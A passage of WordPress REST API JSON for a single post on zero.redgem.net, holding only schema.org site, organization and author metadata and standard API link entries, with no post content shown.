redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64502","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64502"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64502\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64502"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64502"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64502"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}